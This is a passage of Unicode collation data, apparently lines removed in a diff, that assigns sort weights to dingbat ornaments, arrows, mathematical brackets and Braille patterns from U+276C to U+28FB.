-276C  ; [*034A.0020.0002] # MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT
-276D  ; [*034B.0020.0002] # MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT
-276E  ; [*034C.0020.0002] # HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT
-276F  ; [*034D.0020.0002] # HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT
-2770  ; [*034E.0020.0002] # HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT
-2771  ; [*034F.0020.0002] # HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT
-2772  ; [*0350.0020.0002] # LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT
-2773  ; [*0351.0020.0002] # LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT
-2774  ; [*0352.0020.0002] # MEDIUM LEFT CURLY BRACKET ORNAMENT
-2775  ; [*0353.0020.0002] # MEDIUM RIGHT CURLY BRACKET ORNAMENT
-2794  ; [*0A65.0020.0002] # HEAVY WIDE-HEADED RIGHTWARDS ARROW
-2795  ; [*0A66.0020.0002] # HEAVY PLUS SIGN
-2796  ; [*0A67.0020.0002] # HEAVY MINUS SIGN
-2797  ; [*0A68.0020.0002] # HEAVY DIVISION SIGN
-2798  ; [*0A69.0020.0002] # HEAVY SOUTH EAST ARROW
-2799  ; [*0A6A.0020.0002] # HEAVY RIGHTWARDS ARROW
-279A  ; [*0A6B.0020.0002] # HEAVY NORTH EAST ARROW
-279B  ; [*0A6C.0020.0002] # DRAFTING POINT RIGHTWARDS ARROW
-279C  ; [*0A6D.0020.0002] # HEAVY ROUND-TIPPED RIGHTWARDS ARROW
-279D  ; [*0A6E.0020.0002] # TRIANGLE-HEADED RIGHTWARDS ARROW
-279E  ; [*0A6F.0020.0002] # HEAVY TRIANGLE-HEADED RIGHTWARDS ARROW
-279F  ; [*0A70.0020.0002] # DASHED TRIANGLE-HEADED RIGHTWARDS ARROW
-27A0  ; [*0A71.0020.0002] # HEAVY DASHED TRIANGLE-HEADED RIGHTWARDS ARROW
-27A1  ; [*0A72.0020.0002] # BLACK RIGHTWARDS ARROW
-27A2  ; [*0A73.0020.0002] # THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD
-27A3  ; [*0A74.0020.0002] # THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD
-27A4  ; [*0A75.0020.0002] # BLACK RIGHTWARDS ARROWHEAD
-27A5  ; [*0A76.0020.0002] # HEAVY BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW
-27A6  ; [*0A77.0020.0002] # HEAVY BLACK CURVED UPWARDS AND RIGHTWARDS ARROW
-27A7  ; [*0A78.0020.0002] # SQUAT BLACK RIGHTWARDS ARROW
-27A8  ; [*0A79.0020.0002] # HEAVY CONCAVE-POINTED BLACK RIGHTWARDS ARROW
-27A9  ; [*0A7A.0020.0002] # RIGHT-SHADED WHITE RIGHTWARDS ARROW
-27AA  ; [*0A7B.0020.0002] # LEFT-SHADED WHITE RIGHTWARDS ARROW
-27AB  ; [*0A7C.0020.0002] # BACK-TILTED SHADOWED WHITE RIGHTWARDS ARROW
-27AC  ; [*0A7D.0020.0002] # FRONT-TILTED SHADOWED WHITE RIGHTWARDS ARROW
-27AD  ; [*0A7E.0020.0002] # HEAVY LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
-27AE  ; [*0A7F.0020.0002] # HEAVY UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
-27AF  ; [*0A80.0020.0002] # NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
-27B0  ; [*0A81.0020.0002] # CURLY LOOP
-27B1  ; [*0A82.0020.0002] # NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
-27B2  ; [*0A83.0020.0002] # CIRCLED HEAVY WHITE RIGHTWARDS ARROW
-27B3  ; [*0A84.0020.0002] # WHITE-FEATHERED RIGHTWARDS ARROW
-27B4  ; [*0A85.0020.0002] # BLACK-FEATHERED SOUTH EAST ARROW
-27B5  ; [*0A86.0020.0002] # BLACK-FEATHERED RIGHTWARDS ARROW
-27B6  ; [*0A87.0020.0002] # BLACK-FEATHERED NORTH EAST ARROW
-27B7  ; [*0A88.0020.0002] # HEAVY BLACK-FEATHERED SOUTH EAST ARROW
-27B8  ; [*0A89.0020.0002] # HEAVY BLACK-FEATHERED RIGHTWARDS ARROW
-27B9  ; [*0A8A.0020.0002] # HEAVY BLACK-FEATHERED NORTH EAST ARROW
-27BA  ; [*0A8B.0020.0002] # TEARDROP-BARBED RIGHTWARDS ARROW
-27BB  ; [*0A8C.0020.0002] # HEAVY TEARDROP-SHANKED RIGHTWARDS ARROW
-27BC  ; [*0A8D.0020.0002] # WEDGE-TAILED RIGHTWARDS ARROW
-27BD  ; [*0A8E.0020.0002] # HEAVY WEDGE-TAILED RIGHTWARDS ARROW
-27BE  ; [*0A8F.0020.0002] # OPEN-OUTLINED RIGHTWARDS ARROW
-27BF  ; [*0A90.0020.0002] # DOUBLE CURLY LOOP
-27C0  ; [*0A91.0020.0002] # THREE DIMENSIONAL ANGLE
-27C1  ; [*0A92.0020.0002] # WHITE TRIANGLE CONTAINING SMALL WHITE TRIANGLE
-27C2  ; [*0A93.0020.0002] # PERPENDICULAR
-27C3  ; [*0A94.0020.0002] # OPEN SUBSET
-27C4  ; [*0A95.0020.0002] # OPEN SUPERSET
-27C5  ; [*033A.0020.0002] # LEFT S-SHAPED BAG DELIMITER
-27C6  ; [*033B.0020.0002] # RIGHT S-SHAPED BAG DELIMITER
-27C7  ; [*0A96.0020.0002] # OR WITH DOT INSIDE
-27C8  ; [*0A97.0020.0002] # REVERSE SOLIDUS PRECEDING SUBSET
-27C9  ; [*0A98.0020.0002] # SUPERSET PRECEDING SOLIDUS
-27CA  ; [*0A99.0020.0002] # VERTICAL BAR WITH HORIZONTAL STROKE
-27CB  ; [*0A9A.0020.0002] # MATHEMATICAL RISING DIAGONAL
-27CC  ; [*0A9B.0020.0002] # LONG DIVISION
-27CD  ; [*0A9C.0020.0002] # MATHEMATICAL FALLING DIAGONAL
-27CE  ; [*0A9D.0020.0002] # SQUARED LOGICAL AND
-27CF  ; [*0A9E.0020.0002] # SQUARED LOGICAL OR
-27D0  ; [*0A9F.0020.0002] # WHITE DIAMOND WITH CENTRED DOT
-27D1  ; [*0AA0.0020.0002] # AND WITH DOT
-27D2  ; [*0AA1.0020.0002] # ELEMENT OF OPENING UPWARDS
-27D3  ; [*0AA2.0020.0002] # LOWER RIGHT CORNER WITH DOT
-27D4  ; [*0AA3.0020.0002] # UPPER LEFT CORNER WITH DOT
-27D5  ; [*0AA4.0020.0002] # LEFT OUTER JOIN
-27D6  ; [*0AA5.0020.0002] # RIGHT OUTER JOIN
-27D7  ; [*0AA6.0020.0002] # FULL OUTER JOIN
-27D8  ; [*0AA7.0020.0002] # LARGE UP TACK
-27D9  ; [*0AA8.0020.0002] # LARGE DOWN TACK
-27DA  ; [*0AA9.0020.0002] # LEFT AND RIGHT DOUBLE TURNSTILE
-27DB  ; [*0AAA.0020.0002] # LEFT AND RIGHT TACK
-27DC  ; [*0AAB.0020.0002] # LEFT MULTIMAP
-27DD  ; [*0AAC.0020.0002] # LONG RIGHT TACK
-27DE  ; [*0AAD.0020.0002] # LONG LEFT TACK
-27DF  ; [*0AAE.0020.0002] # UP TACK WITH CIRCLE ABOVE
-27E0  ; [*0AAF.0020.0002] # LOZENGE DIVIDED BY HORIZONTAL RULE
-27E1  ; [*0AB0.0020.0002] # WHITE CONCAVE-SIDED DIAMOND
-27E2  ; [*0AB1.0020.0002] # WHITE CONCAVE-SIDED DIAMOND WITH LEFTWARDS TICK
-27E3  ; [*0AB2.0020.0002] # WHITE CONCAVE-SIDED DIAMOND WITH RIGHTWARDS TICK
-27E4  ; [*0AB3.0020.0002] # WHITE SQUARE WITH LEFTWARDS TICK
-27E5  ; [*0AB4.0020.0002] # WHITE SQUARE WITH RIGHTWARDS TICK
-27E6  ; [*033C.0020.0002] # MATHEMATICAL LEFT WHITE SQUARE BRACKET
-27E7  ; [*033D.0020.0002] # MATHEMATICAL RIGHT WHITE SQUARE BRACKET
-27E8  ; [*033E.0020.0002] # MATHEMATICAL LEFT ANGLE BRACKET
-27E9  ; [*033F.0020.0002] # MATHEMATICAL RIGHT ANGLE BRACKET
-27EA  ; [*0340.0020.0002] # MATHEMATICAL LEFT DOUBLE ANGLE BRACKET
-27EB  ; [*0341.0020.0002] # MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET
-27EC  ; [*0342.0020.0002] # MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET
-27ED  ; [*0343.0020.0002] # MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET
-27EE  ; [*0344.0020.0002] # MATHEMATICAL LEFT FLATTENED PARENTHESIS
-27EF  ; [*0345.0020.0002] # MATHEMATICAL RIGHT FLATTENED PARENTHESIS
-27F0  ; [*0AB5.0020.0002] # UPWARDS QUADRUPLE ARROW
-27F1  ; [*0AB6.0020.0002] # DOWNWARDS QUADRUPLE ARROW
-27F2  ; [*0AB7.0020.0002] # ANTICLOCKWISE GAPPED CIRCLE ARROW
-27F3  ; [*0AB8.0020.0002] # CLOCKWISE GAPPED CIRCLE ARROW
-27F4  ; [*0AB9.0020.0002] # RIGHT ARROW WITH CIRCLED PLUS
-27F5  ; [*0ABA.0020.0002] # LONG LEFTWARDS ARROW
-27F6  ; [*0ABB.0020.0002] # LONG RIGHTWARDS ARROW
-27F7  ; [*0ABC.0020.0002] # LONG LEFT RIGHT ARROW
-27F8  ; [*0ABD.0020.0002] # LONG LEFTWARDS DOUBLE ARROW
-27F9  ; [*0ABE.0020.0002] # LONG RIGHTWARDS DOUBLE ARROW
-27FA  ; [*0ABF.0020.0002] # LONG LEFT RIGHT DOUBLE ARROW
-27FB  ; [*0AC0.0020.0002] # LONG LEFTWARDS ARROW FROM BAR
-27FC  ; [*0AC1.0020.0002] # LONG RIGHTWARDS ARROW FROM BAR
-27FD  ; [*0AC2.0020.0002] # LONG LEFTWARDS DOUBLE ARROW FROM BAR
-27FE  ; [*0AC3.0020.0002] # LONG RIGHTWARDS DOUBLE ARROW FROM BAR
-27FF  ; [*0AC4.0020.0002] # LONG RIGHTWARDS SQUIGGLE ARROW
-2800  ; [*0D78.0020.0002] # BRAILLE PATTERN BLANK
-2801  ; [*0D79.0020.0002] # BRAILLE PATTERN DOTS-1
-2802  ; [*0D7A.0020.0002] # BRAILLE PATTERN DOTS-2
-2803  ; [*0D7B.0020.0002] # BRAILLE PATTERN DOTS-12
-2804  ; [*0D7C.0020.0002] # BRAILLE PATTERN DOTS-3
-2805  ; [*0D7D.0020.0002] # BRAILLE PATTERN DOTS-13
-2806  ; [*0D7E.0020.0002] # BRAILLE PATTERN DOTS-23
-2807  ; [*0D7F.0020.0002] # BRAILLE PATTERN DOTS-123
-2808  ; [*0D80.0020.0002] # BRAILLE PATTERN DOTS-4
-2809  ; [*0D81.0020.0002] # BRAILLE PATTERN DOTS-14
-280A  ; [*0D82.0020.0002] # BRAILLE PATTERN DOTS-24
-280B  ; [*0D83.0020.0002] # BRAILLE PATTERN DOTS-124
-280C  ; [*0D84.0020.0002] # BRAILLE PATTERN DOTS-34
-280D  ; [*0D85.0020.0002] # BRAILLE PATTERN DOTS-134
-280E  ; [*0D86.0020.0002] # BRAILLE PATTERN DOTS-234
-280F  ; [*0D87.0020.0002] # BRAILLE PATTERN DOTS-1234
-2810  ; [*0D88.0020.0002] # BRAILLE PATTERN DOTS-5
-2811  ; [*0D89.0020.0002] # BRAILLE PATTERN DOTS-15
-2812  ; [*0D8A.0020.0002] # BRAILLE PATTERN DOTS-25
-2813  ; [*0D8B.0020.0002] # BRAILLE PATTERN DOTS-125
-2814  ; [*0D8C.0020.0002] # BRAILLE PATTERN DOTS-35
-2815  ; [*0D8D.0020.0002] # BRAILLE PATTERN DOTS-135
-2816  ; [*0D8E.0020.0002] # BRAILLE PATTERN DOTS-235
-2817  ; [*0D8F.0020.0002] # BRAILLE PATTERN DOTS-1235
-2818  ; [*0D90.0020.0002] # BRAILLE PATTERN DOTS-45
-2819  ; [*0D91.0020.0002] # BRAILLE PATTERN DOTS-145
-281A  ; [*0D92.0020.0002] # BRAILLE PATTERN DOTS-245
-281B  ; [*0D93.0020.0002] # BRAILLE PATTERN DOTS-1245
-281C  ; [*0D94.0020.0002] # BRAILLE PATTERN DOTS-345
-281D  ; [*0D95.0020.0002] # BRAILLE PATTERN DOTS-1345
-281E  ; [*0D96.0020.0002] # BRAILLE PATTERN DOTS-2345
-281F  ; [*0D97.0020.0002] # BRAILLE PATTERN DOTS-12345
-2820  ; [*0D98.0020.0002] # BRAILLE PATTERN DOTS-6
-2821  ; [*0D99.0020.0002] # BRAILLE PATTERN DOTS-16
-2822  ; [*0D9A.0020.0002] # BRAILLE PATTERN DOTS-26
-2823  ; [*0D9B.0020.0002] # BRAILLE PATTERN DOTS-126
-2824  ; [*0D9C.0020.0002] # BRAILLE PATTERN DOTS-36
-2825  ; [*0D9D.0020.0002] # BRAILLE PATTERN DOTS-136
-2826  ; [*0D9E.0020.0002] # BRAILLE PATTERN DOTS-236
-2827  ; [*0D9F.0020.0002] # BRAILLE PATTERN DOTS-1236
-2828  ; [*0DA0.0020.0002] # BRAILLE PATTERN DOTS-46
-2829  ; [*0DA1.0020.0002] # BRAILLE PATTERN DOTS-146
-282A  ; [*0DA2.0020.0002] # BRAILLE PATTERN DOTS-246
-282B  ; [*0DA3.0020.0002] # BRAILLE PATTERN DOTS-1246
-282C  ; [*0DA4.0020.0002] # BRAILLE PATTERN DOTS-346
-282D  ; [*0DA5.0020.0002] # BRAILLE PATTERN DOTS-1346
-282E  ; [*0DA6.0020.0002] # BRAILLE PATTERN DOTS-2346
-282F  ; [*0DA7.0020.0002] # BRAILLE PATTERN DOTS-12346
-2830  ; [*0DA8.0020.0002] # BRAILLE PATTERN DOTS-56
-2831  ; [*0DA9.0020.0002] # BRAILLE PATTERN DOTS-156
-2832  ; [*0DAA.0020.0002] # BRAILLE PATTERN DOTS-256
-2833  ; [*0DAB.0020.0002] # BRAILLE PATTERN DOTS-1256
-2834  ; [*0DAC.0020.0002] # BRAILLE PATTERN DOTS-356
-2835  ; [*0DAD.0020.0002] # BRAILLE PATTERN DOTS-1356
-2836  ; [*0DAE.0020.0002] # BRAILLE PATTERN DOTS-2356
-2837  ; [*0DAF.0020.0002] # BRAILLE PATTERN DOTS-12356
-2838  ; [*0DB0.0020.0002] # BRAILLE PATTERN DOTS-456
-2839  ; [*0DB1.0020.0002] # BRAILLE PATTERN DOTS-1456
-283A  ; [*0DB2.0020.0002] # BRAILLE PATTERN DOTS-2456
-283B  ; [*0DB3.0020.0002] # BRAILLE PATTERN DOTS-12456
-283C  ; [*0DB4.0020.0002] # BRAILLE PATTERN DOTS-3456
-283D  ; [*0DB5.0020.0002] # BRAILLE PATTERN DOTS-13456
-283E  ; [*0DB6.0020.0002] # BRAILLE PATTERN DOTS-23456
-283F  ; [*0DB7.0020.0002] # BRAILLE PATTERN DOTS-123456
-2840  ; [*0DB8.0020.0002] # BRAILLE PATTERN DOTS-7
-2841  ; [*0DB9.0020.0002] # BRAILLE PATTERN DOTS-17
-2842  ; [*0DBA.0020.0002] # BRAILLE PATTERN DOTS-27
-2843  ; [*0DBB.0020.0002] # BRAILLE PATTERN DOTS-127
-2844  ; [*0DBC.0020.0002] # BRAILLE PATTERN DOTS-37
-2845  ; [*0DBD.0020.0002] # BRAILLE PATTERN DOTS-137
-2846  ; [*0DBE.0020.0002] # BRAILLE PATTERN DOTS-237
-2847  ; [*0DBF.0020.0002] # BRAILLE PATTERN DOTS-1237
-2848  ; [*0DC0.0020.0002] # BRAILLE PATTERN DOTS-47
-2849  ; [*0DC1.0020.0002] # BRAILLE PATTERN DOTS-147
-284A  ; [*0DC2.0020.0002] # BRAILLE PATTERN DOTS-247
-284B  ; [*0DC3.0020.0002] # BRAILLE PATTERN DOTS-1247
-284C  ; [*0DC4.0020.0002] # BRAILLE PATTERN DOTS-347
-284D  ; [*0DC5.0020.0002] # BRAILLE PATTERN DOTS-1347
-284E  ; [*0DC6.0020.0002] # BRAILLE PATTERN DOTS-2347
-284F  ; [*0DC7.0020.0002] # BRAILLE PATTERN DOTS-12347
-2850  ; [*0DC8.0020.0002] # BRAILLE PATTERN DOTS-57
-2851  ; [*0DC9.0020.0002] # BRAILLE PATTERN DOTS-157
-2852  ; [*0DCA.0020.0002] # BRAILLE PATTERN DOTS-257
-2853  ; [*0DCB.0020.0002] # BRAILLE PATTERN DOTS-1257
-2854  ; [*0DCC.0020.0002] # BRAILLE PATTERN DOTS-357
-2855  ; [*0DCD.0020.0002] # BRAILLE PATTERN DOTS-1357
-2856  ; [*0DCE.0020.0002] # BRAILLE PATTERN DOTS-2357
-2857  ; [*0DCF.0020.0002] # BRAILLE PATTERN DOTS-12357
-2858  ; [*0DD0.0020.0002] # BRAILLE PATTERN DOTS-457
-2859  ; [*0DD1.0020.0002] # BRAILLE PATTERN DOTS-1457
-285A  ; [*0DD2.0020.0002] # BRAILLE PATTERN DOTS-2457
-285B  ; [*0DD3.0020.0002] # BRAILLE PATTERN DOTS-12457
-285C  ; [*0DD4.0020.0002] # BRAILLE PATTERN DOTS-3457
-285D  ; [*0DD5.0020.0002] # BRAILLE PATTERN DOTS-13457
-285E  ; [*0DD6.0020.0002] # BRAILLE PATTERN DOTS-23457
-285F  ; [*0DD7.0020.0002] # BRAILLE PATTERN DOTS-123457
-2860  ; [*0DD8.0020.0002] # BRAILLE PATTERN DOTS-67
-2861  ; [*0DD9.0020.0002] # BRAILLE PATTERN DOTS-167
-2862  ; [*0DDA.0020.0002] # BRAILLE PATTERN DOTS-267
-2863  ; [*0DDB.0020.0002] # BRAILLE PATTERN DOTS-1267
-2864  ; [*0DDC.0020.0002] # BRAILLE PATTERN DOTS-367
-2865  ; [*0DDD.0020.0002] # BRAILLE PATTERN DOTS-1367
-2866  ; [*0DDE.0020.0002] # BRAILLE PATTERN DOTS-2367
-2867  ; [*0DDF.0020.0002] # BRAILLE PATTERN DOTS-12367
-2868  ; [*0DE0.0020.0002] # BRAILLE PATTERN DOTS-467
-2869  ; [*0DE1.0020.0002] # BRAILLE PATTERN DOTS-1467
-286A  ; [*0DE2.0020.0002] # BRAILLE PATTERN DOTS-2467
-286B  ; [*0DE3.0020.0002] # BRAILLE PATTERN DOTS-12467
-286C  ; [*0DE4.0020.0002] # BRAILLE PATTERN DOTS-3467
-286D  ; [*0DE5.0020.0002] # BRAILLE PATTERN DOTS-13467
-286E  ; [*0DE6.0020.0002] # BRAILLE PATTERN DOTS-23467
-286F  ; [*0DE7.0020.0002] # BRAILLE PATTERN DOTS-123467
-2870  ; [*0DE8.0020.0002] # BRAILLE PATTERN DOTS-567
-2871  ; [*0DE9.0020.0002] # BRAILLE PATTERN DOTS-1567
-2872  ; [*0DEA.0020.0002] # BRAILLE PATTERN DOTS-2567
-2873  ; [*0DEB.0020.0002] # BRAILLE PATTERN DOTS-12567
-2874  ; [*0DEC.0020.0002] # BRAILLE PATTERN DOTS-3567
-2875  ; [*0DED.0020.0002] # BRAILLE PATTERN DOTS-13567
-2876  ; [*0DEE.0020.0002] # BRAILLE PATTERN DOTS-23567
-2877  ; [*0DEF.0020.0002] # BRAILLE PATTERN DOTS-123567
-2878  ; [*0DF0.0020.0002] # BRAILLE PATTERN DOTS-4567
-2879  ; [*0DF1.0020.0002] # BRAILLE PATTERN DOTS-14567
-287A  ; [*0DF2.0020.0002] # BRAILLE PATTERN DOTS-24567
-287B  ; [*0DF3.0020.0002] # BRAILLE PATTERN DOTS-124567
-287C  ; [*0DF4.0020.0002] # BRAILLE PATTERN DOTS-34567
-287D  ; [*0DF5.0020.0002] # BRAILLE PATTERN DOTS-134567
-287E  ; [*0DF6.0020.0002] # BRAILLE PATTERN DOTS-234567
-287F  ; [*0DF7.0020.0002] # BRAILLE PATTERN DOTS-1234567
-2880  ; [*0DF8.0020.0002] # BRAILLE PATTERN DOTS-8
-2881  ; [*0DF9.0020.0002] # BRAILLE PATTERN DOTS-18
-2882  ; [*0DFA.0020.0002] # BRAILLE PATTERN DOTS-28
-2883  ; [*0DFB.0020.0002] # BRAILLE PATTERN DOTS-128
-2884  ; [*0DFC.0020.0002] # BRAILLE PATTERN DOTS-38
-2885  ; [*0DFD.0020.0002] # BRAILLE PATTERN DOTS-138
-2886  ; [*0DFE.0020.0002] # BRAILLE PATTERN DOTS-238
-2887  ; [*0DFF.0020.0002] # BRAILLE PATTERN DOTS-1238
-2888  ; [*0E00.0020.0002] # BRAILLE PATTERN DOTS-48
-2889  ; [*0E01.0020.0002] # BRAILLE PATTERN DOTS-148
-288A  ; [*0E02.0020.0002] # BRAILLE PATTERN DOTS-248
-288B  ; [*0E03.0020.0002] # BRAILLE PATTERN DOTS-1248
-288C  ; [*0E04.0020.0002] # BRAILLE PATTERN DOTS-348
-288D  ; [*0E05.0020.0002] # BRAILLE PATTERN DOTS-1348
-288E  ; [*0E06.0020.0002] # BRAILLE PATTERN DOTS-2348
-288F  ; [*0E07.0020.0002] # BRAILLE PATTERN DOTS-12348
-2890  ; [*0E08.0020.0002] # BRAILLE PATTERN DOTS-58
-2891  ; [*0E09.0020.0002] # BRAILLE PATTERN DOTS-158
-2892  ; [*0E0A.0020.0002] # BRAILLE PATTERN DOTS-258
-2893  ; [*0E0B.0020.0002] # BRAILLE PATTERN DOTS-1258
-2894  ; [*0E0C.0020.0002] # BRAILLE PATTERN DOTS-358
-2895  ; [*0E0D.0020.0002] # BRAILLE PATTERN DOTS-1358
-2896  ; [*0E0E.0020.0002] # BRAILLE PATTERN DOTS-2358
-2897  ; [*0E0F.0020.0002] # BRAILLE PATTERN DOTS-12358
-2898  ; [*0E10.0020.0002] # BRAILLE PATTERN DOTS-458
-2899  ; [*0E11.0020.0002] # BRAILLE PATTERN DOTS-1458
-289A  ; [*0E12.0020.0002] # BRAILLE PATTERN DOTS-2458
-289B  ; [*0E13.0020.0002] # BRAILLE PATTERN DOTS-12458
-289C  ; [*0E14.0020.0002] # BRAILLE PATTERN DOTS-3458
-289D  ; [*0E15.0020.0002] # BRAILLE PATTERN DOTS-13458
-289E  ; [*0E16.0020.0002] # BRAILLE PATTERN DOTS-23458
-289F  ; [*0E17.0020.0002] # BRAILLE PATTERN DOTS-123458
-28A0  ; [*0E18.0020.0002] # BRAILLE PATTERN DOTS-68
-28A1  ; [*0E19.0020.0002] # BRAILLE PATTERN DOTS-168
-28A2  ; [*0E1A.0020.0002] # BRAILLE PATTERN DOTS-268
-28A3  ; [*0E1B.0020.0002] # BRAILLE PATTERN DOTS-1268
-28A4  ; [*0E1C.0020.0002] # BRAILLE PATTERN DOTS-368
-28A5  ; [*0E1D.0020.0002] # BRAILLE PATTERN DOTS-1368
-28A6  ; [*0E1E.0020.0002] # BRAILLE PATTERN DOTS-2368
-28A7  ; [*0E1F.0020.0002] # BRAILLE PATTERN DOTS-12368
-28A8  ; [*0E20.0020.0002] # BRAILLE PATTERN DOTS-468
-28A9  ; [*0E21.0020.0002] # BRAILLE PATTERN DOTS-1468
-28AA  ; [*0E22.0020.0002] # BRAILLE PATTERN DOTS-2468
-28AB  ; [*0E23.0020.0002] # BRAILLE PATTERN DOTS-12468
-28AC  ; [*0E24.0020.0002] # BRAILLE PATTERN DOTS-3468
-28AD  ; [*0E25.0020.0002] # BRAILLE PATTERN DOTS-13468
-28AE  ; [*0E26.0020.0002] # BRAILLE PATTERN DOTS-23468
-28AF  ; [*0E27.0020.0002] # BRAILLE PATTERN DOTS-123468
-28B0  ; [*0E28.0020.0002] # BRAILLE PATTERN DOTS-568
-28B1  ; [*0E29.0020.0002] # BRAILLE PATTERN DOTS-1568
-28B2  ; [*0E2A.0020.0002] # BRAILLE PATTERN DOTS-2568
-28B3  ; [*0E2B.0020.0002] # BRAILLE PATTERN DOTS-12568
-28B4  ; [*0E2C.0020.0002] # BRAILLE PATTERN DOTS-3568
-28B5  ; [*0E2D.0020.0002] # BRAILLE PATTERN DOTS-13568
-28B6  ; [*0E2E.0020.0002] # BRAILLE PATTERN DOTS-23568
-28B7  ; [*0E2F.0020.0002] # BRAILLE PATTERN DOTS-123568
-28B8  ; [*0E30.0020.0002] # BRAILLE PATTERN DOTS-4568
-28B9  ; [*0E31.0020.0002] # BRAILLE PATTERN DOTS-14568
-28BA  ; [*0E32.0020.0002] # BRAILLE PATTERN DOTS-24568
-28BB  ; [*0E33.0020.0002] # BRAILLE PATTERN DOTS-124568
-28BC  ; [*0E34.0020.0002] # BRAILLE PATTERN DOTS-34568
-28BD  ; [*0E35.0020.0002] # BRAILLE PATTERN DOTS-134568
-28BE  ; [*0E36.0020.0002] # BRAILLE PATTERN DOTS-234568
-28BF  ; [*0E37.0020.0002] # BRAILLE PATTERN DOTS-1234568
-28C0  ; [*0E38.0020.0002] # BRAILLE PATTERN DOTS-78
-28C1  ; [*0E39.0020.0002] # BRAILLE PATTERN DOTS-178
-28C2  ; [*0E3A.0020.0002] # BRAILLE PATTERN DOTS-278
-28C3  ; [*0E3B.0020.0002] # BRAILLE PATTERN DOTS-1278
-28C4  ; [*0E3C.0020.0002] # BRAILLE PATTERN DOTS-378
-28C5  ; [*0E3D.0020.0002] # BRAILLE PATTERN DOTS-1378
-28C6  ; [*0E3E.0020.0002] # BRAILLE PATTERN DOTS-2378
-28C7  ; [*0E3F.0020.0002] # BRAILLE PATTERN DOTS-12378
-28C8  ; [*0E40.0020.0002] # BRAILLE PATTERN DOTS-478
-28C9  ; [*0E41.0020.0002] # BRAILLE PATTERN DOTS-1478
-28CA  ; [*0E42.0020.0002] # BRAILLE PATTERN DOTS-2478
-28CB  ; [*0E43.0020.0002] # BRAILLE PATTERN DOTS-12478
-28CC  ; [*0E44.0020.0002] # BRAILLE PATTERN DOTS-3478
-28CD  ; [*0E45.0020.0002] # BRAILLE PATTERN DOTS-13478
-28CE  ; [*0E46.0020.0002] # BRAILLE PATTERN DOTS-23478
-28CF  ; [*0E47.0020.0002] # BRAILLE PATTERN DOTS-123478
-28D0  ; [*0E48.0020.0002] # BRAILLE PATTERN DOTS-578
-28D1  ; [*0E49.0020.0002] # BRAILLE PATTERN DOTS-1578
-28D2  ; [*0E4A.0020.0002] # BRAILLE PATTERN DOTS-2578
-28D3  ; [*0E4B.0020.0002] # BRAILLE PATTERN DOTS-12578
-28D4  ; [*0E4C.0020.0002] # BRAILLE PATTERN DOTS-3578
-28D5  ; [*0E4D.0020.0002] # BRAILLE PATTERN DOTS-13578
-28D6  ; [*0E4E.0020.0002] # BRAILLE PATTERN DOTS-23578
-28D7  ; [*0E4F.0020.0002] # BRAILLE PATTERN DOTS-123578
-28D8  ; [*0E50.0020.0002] # BRAILLE PATTERN DOTS-4578
-28D9  ; [*0E51.0020.0002] # BRAILLE PATTERN DOTS-14578
-28DA  ; [*0E52.0020.0002] # BRAILLE PATTERN DOTS-24578
-28DB  ; [*0E53.0020.0002] # BRAILLE PATTERN DOTS-124578
-28DC  ; [*0E54.0020.0002] # BRAILLE PATTERN DOTS-34578
-28DD  ; [*0E55.0020.0002] # BRAILLE PATTERN DOTS-134578
-28DE  ; [*0E56.0020.0002] # BRAILLE PATTERN DOTS-234578
-28DF  ; [*0E57.0020.0002] # BRAILLE PATTERN DOTS-1234578
-28E0  ; [*0E58.0020.0002] # BRAILLE PATTERN DOTS-678
-28E1  ; [*0E59.0020.0002] # BRAILLE PATTERN DOTS-1678
-28E2  ; [*0E5A.0020.0002] # BRAILLE PATTERN DOTS-2678
-28E3  ; [*0E5B.0020.0002] # BRAILLE PATTERN DOTS-12678
-28E4  ; [*0E5C.0020.0002] # BRAILLE PATTERN DOTS-3678
-28E5  ; [*0E5D.0020.0002] # BRAILLE PATTERN DOTS-13678
-28E6  ; [*0E5E.0020.0002] # BRAILLE PATTERN DOTS-23678
-28E7  ; [*0E5F.0020.0002] # BRAILLE PATTERN DOTS-123678
-28E8  ; [*0E60.0020.0002] # BRAILLE PATTERN DOTS-4678
-28E9  ; [*0E61.0020.0002] # BRAILLE PATTERN DOTS-14678
-28EA  ; [*0E62.0020.0002] # BRAILLE PATTERN DOTS-24678
-28EB  ; [*0E63.0020.0002] # BRAILLE PATTERN DOTS-124678
-28EC  ; [*0E64.0020.0002] # BRAILLE PATTERN DOTS-34678
-28ED  ; [*0E65.0020.0002] # BRAILLE PATTERN DOTS-134678
-28EE  ; [*0E66.0020.0002] # BRAILLE PATTERN DOTS-234678
-28EF  ; [*0E67.0020.0002] # BRAILLE PATTERN DOTS-1234678
-28F0  ; [*0E68.0020.0002] # BRAILLE PATTERN DOTS-5678
-28F1  ; [*0E69.0020.0002] # BRAILLE PATTERN DOTS-15678
-28F2  ; [*0E6A.0020.0002] # BRAILLE PATTERN DOTS-25678
-28F3  ; [*0E6B.0020.0002] # BRAILLE PATTERN DOTS-125678
-28F4  ; [*0E6C.0020.0002] # BRAILLE PATTERN DOTS-35678
-28F5  ; [*0E6D.0020.0002] # BRAILLE PATTERN DOTS-135678
-28F6  ; [*0E6E.0020.0002] # BRAILLE PATTERN DOTS-235678
-28F7  ; [*0E6F.0020.0002] # BRAILLE PATTERN DOTS-1235678
-28F8  ; [*0E70.0020.0002] # BRAILLE PATTERN DOTS-45678
-28F9  ; [*0E71.0020.0002] # BRAILLE PATTERN DOTS-145678
-28FA  ; [*0E72.0020.0002] # BRAILLE PATTERN DOTS-245678
-28FB  ; [*0E73.0020.0002] # BRAILLE PATTERN DOTS-1245678
